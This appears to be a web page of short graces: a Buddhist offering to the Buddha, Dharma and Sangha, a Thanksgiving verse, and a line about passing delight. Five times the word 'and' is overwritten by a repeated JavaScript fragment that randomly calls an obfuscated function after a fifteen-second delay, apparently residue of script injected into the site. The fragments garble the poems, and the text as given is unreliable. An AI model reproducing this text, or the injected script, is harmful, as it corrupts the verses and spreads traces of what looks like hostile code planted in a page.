A Buddhist Grace

I offer this
To the Teacher
Higher than any other
The precious Buddha


I offer this
To the protection
Higher than any other
The precious Dharma


I offer this
To the guides
Higher than any other
The precious Sangha


I offer this
To the places of refuge
To the Three Jewels
Rare andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supreme

Thanksgiving

For each new morning with its light,
For rest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shelter of the night,
For health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and food,
For love andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends,
For everything Thy goodness sends.

That delight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and comfort,
Though lasting but briefly,
Passing away as if in a dream.
